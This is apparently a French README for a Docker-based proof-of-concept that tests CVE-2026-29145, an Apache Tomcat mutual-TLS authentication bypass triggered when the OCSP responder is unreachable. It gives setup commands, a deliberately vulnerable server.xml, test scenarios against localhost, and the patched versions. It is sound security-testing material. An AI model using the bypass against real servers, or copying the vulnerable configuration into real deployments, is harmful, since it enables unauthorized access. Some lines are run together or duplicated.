
Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.
Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.
La vulnérabilité est un contournement d'authentification dans l'implémentation du TLS mutuel (CLIENT_CERT) d'Apache Tomcat. Lorsque l'OCSP (Online Certificate Status Protocol) est configuré avec l'échec progressif (soft-fail) désactivé, Tomcat peut ne pas traiter un échec de vérification OCSP comme un refus strict. Cela permet à un client disposant d'un certificat potentiellement révoqué ou non vérifié de contourner l'authentification si le répondeur OCSP est injoignable ou renvoie une erreur.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2026-29145 |
| Score CVSS | 9.1 (Critique) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Impact | Contournement d'authentification |
.ps1Le script run_test.sh automatise l'ensemble du processus : nettoyage, génération de certificats et exécution de tous les scénarios de test (vulnérable, succès et corrigé).
# Naviguer vers le répertoire du projet
cd CVE-2026-29145-Tester
# Rendre les scripts exécutables
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Installer les dépendances Python (si poc_exploit.py les requiert)
pip install -r requirements.txt
# Exécuter la suite de tests complète
./run_test.sh
Sur Linux/macOS :
./setup_certs.sh
Sur Windows (PowerShell) :
.\setup_certs.ps1
Ce que cela fait :
http://localhost:8888Sortie attendue :
[INFO] Démarrage de la génération de certificats pour l'environnement de test CVE-2026-29145
[INFO] OpenSSL trouvé : OpenSSL 3.0.x (...)
[INFO] Répertoire certs créé
[INFO] Génération de l'AC racine...
[INFO] Génération du certificat serveur...
[INFO] Génération du certificat client avec extension OCSP...
[INFO] Configuration des certificats terminée avec succès !
docker-compose up -d
Ce que cela fait :
Vérifier que les conteneurs sont en cours d'exécution :
docker-compose ps
python poc_exploit.py
Sorties attendues :
Système vulnérable :
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[WARNING] VULNÉRABLE : Accès accordé malgré l'échec de la vérification OCSP.
[WARNING] Aperçu de la réponse : <html>...
Système corrigé :
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[INFO] NON VULNÉRABLE : Accès refusé (authentification fonctionnelle).
| Scénario | Statut OCSP | Attendu (Corrigé) | Résultat (Vulnérable) | Notes |
|---|---|---|---|---|
| Fonctionnement normal | En ligne et valide | 200 OK ✓ | 200 OK ✓ | La vérification OCSP réussit, accès accordé |
| Échec progressif | Hors ligne/Délai dépassé | 403 Interdit ✓ | 200 OK ✗ | CONTOURNEMENT - Répondeur OCSP injoignable |
| Révocation stricte | En ligne et révoqué | 403 Interdit ✓ | 403 Interdit ✓ | Certificat explicitement révoqué |
| Certificat invalide | Chaîne invalide | 403 Interdit ✓ | 403 Interdit ✓ | La validation de la chaîne échoue |
Test 1 : Par défaut (répondeur OCSP en échec)
# Garder les conteneurs en cours d'exécution
python poc_exploit.py
Test 2 : Arrêter le répondeur OCSP (simuler un délai dépassé)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3 : Test manuel avec curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Ce fichier
├── setup_certs.sh # Script de génération de certificats - Bash (Linux/macOS)
├── setup_certs.ps1 # Script de génération de certificats - PowerShell (Windows)
├── cleanup.sh # Script de nettoyage et de réinitialisation - Bash (Linux/macOS)
├── cleanup.ps1 # Script de nettoyage et de réinitialisation - PowerShell (Windows)
├── run_test.sh # Script de cycle de test complet automatisé
├── docker-compose.yml # Orchestration des services Docker
├── requirements.txt # Dépendances Python
├── poc_exploit.py # Script de test principal (avec journalisation et gestion des erreurs)
├── simple_proxy_fail.py # Répondeur OCSP simulé (avec journalisation détaillée)
├── .gitignore # Règles d'ignorance Git pour les certificats et journaux
├── certs/ # Certificats générés (créés par les scripts setup_certs)
│ ├── ca-chain.pem # Certificat de l'AC racine
│ ├── ca-key.pem # Clé privée de l'AC racine
│ ├── server-cert.pem # Certificat serveur Tomcat
│ ├── server-key.pem # Clé privée du serveur Tomcat
│ ├── client-cert.pem # Certificat client de test
│ └── client-key.pem # Clé privée du client de test
├── tomcat/
│ └── server.xml # Configuration Tomcat vulnérable
└── logs/ # Journaux Tomcat (créés à l'exécution)
Le fichier tomcat/server.xml configure :
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Paramètres clés :
certificateVerification="required" - Applique l'authentification CLIENT_CERTOCSP on - Active la vérification de révocation OCSPLe répondeur OCSP simulé (simple_proxy_fail.py) :
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Cause : La génération des certificats a échoué ou n'a pas été exécutée.
# Nettoyer et régénérer
rm -rf certs
./setup_certs.sh
Cause : Le conteneur Tomcat n'est pas en cours d'exécution ou n'est pas prêt.
# Vérifier l'état du conteneur
docker-compose ps
# Vérifier les journaux
docker-compose logs vulnerable-tomcat
# S'assurer que les deux services sont en cours d'exécution et sains
docker-compose up -d
sleep 10 # Attendre le démarrage des services
Cause : Tomcat met trop de temps à démarrer ou problèmes réseau.
# Vérifier les journaux de démarrage de Tomcat
docker-compose logs vulnerable-tomcat
# Augmenter le délai et réessayer
timeout 30 docker-compose logs -f vulnerable-tomcat # Surveiller le démarrage
Cause : Docker Compose n'est pas installé ou n'est pas dans le PATH.
# Installer Docker Compose (si utilisation autonome)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Ou utiliser docker compose (V2 intégré à Docker Desktop)
docker compose up -d
Cause : La validation du certificat échoue.
# Vérifier que les fichiers de certificats existent
ls -la certs/
# Vérifier la validité du certificat
openssl x509 -in certs/client-cert.pem -noout -text
Cause : Échec de la poignée de main SSL - peut indiquer que l'échec strict fonctionne correctement.
Solution : C'est en fait un bon signe ! L'échec strict empêche l'accès lorsque l'OCSP échoue.
# Vérifier si le répondeur OCSP est en cours d'exécution
docker-compose ps ocsp-responder
# Afficher l'erreur détaillée
python poc_exploit.py # Fournit déjà une journalisation détaillée
Cause : Le port 8443 ou 8888 est déjà utilisé.
# Trouver le processus utilisant le port
lsof -i :8443
lsof -i :8888
# Tuer le processus ou utiliser d'autres ports dans docker-compose.yml
# Journaux Tomcat
docker-compose logs -f vulnerable-tomcat
# Journaux du répondeur OCSP
docker-compose logs -f ocsp-responder
# Débogage du script Python
python poc_exploit.py # Inclut déjà une journalisation détaillée
# Ouvrir un terminal et exécuter
docker-compose logs -f
# Dans un autre terminal, exécuter le test
python poc_exploit.py
# Tester la connectivité vers le répondeur OCSP
curl http://localhost:8888/
# Tester le répondeur OCSP depuis l'intérieur du conteneur Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# Tester la poignée de main SSL
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
Pour supprimer tous les conteneurs, volumes, certificats et journaux :
Sur Linux/macOS :
./cleanup.sh
Sur Windows (PowerShell) :
.\cleanup.ps1
Ce que cela fait :
certs/ générélogs/Vérifier le nettoyage :
docker-compose ps # Ne devrait rien afficher
ls -la certs/ # Ne devrait pas exister
Ce projet est destiné à des fins éducatives et de tests de sécurité autorisés uniquement.
Pour atténuer cette vulnérabilité, mettez à niveau Apache Tomcat vers les versions suivantes :
| Série de versions | Version corrigée minimale |
|---|---|
| 11.0.x | 11.0.20 ou ultérieure |
| 10.1.x | 10.1.53 ou ultérieure |
| 9.0.x | 9.0.116 ou ultérieure |
Étapes de mise à niveau :
# Exemple : Mettre à jour docker-compose.yml pour utiliser la version corrigée
# Changer : image: tomcat:10.1.52-jdk17
# En : image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
Pour les problèmes, questions ou contributions, veuillez ouvrir un problème ou soumettre une demande d'extraction.
Dernière mise à jour : Avril 2026
Statut : Tests et documentation terminés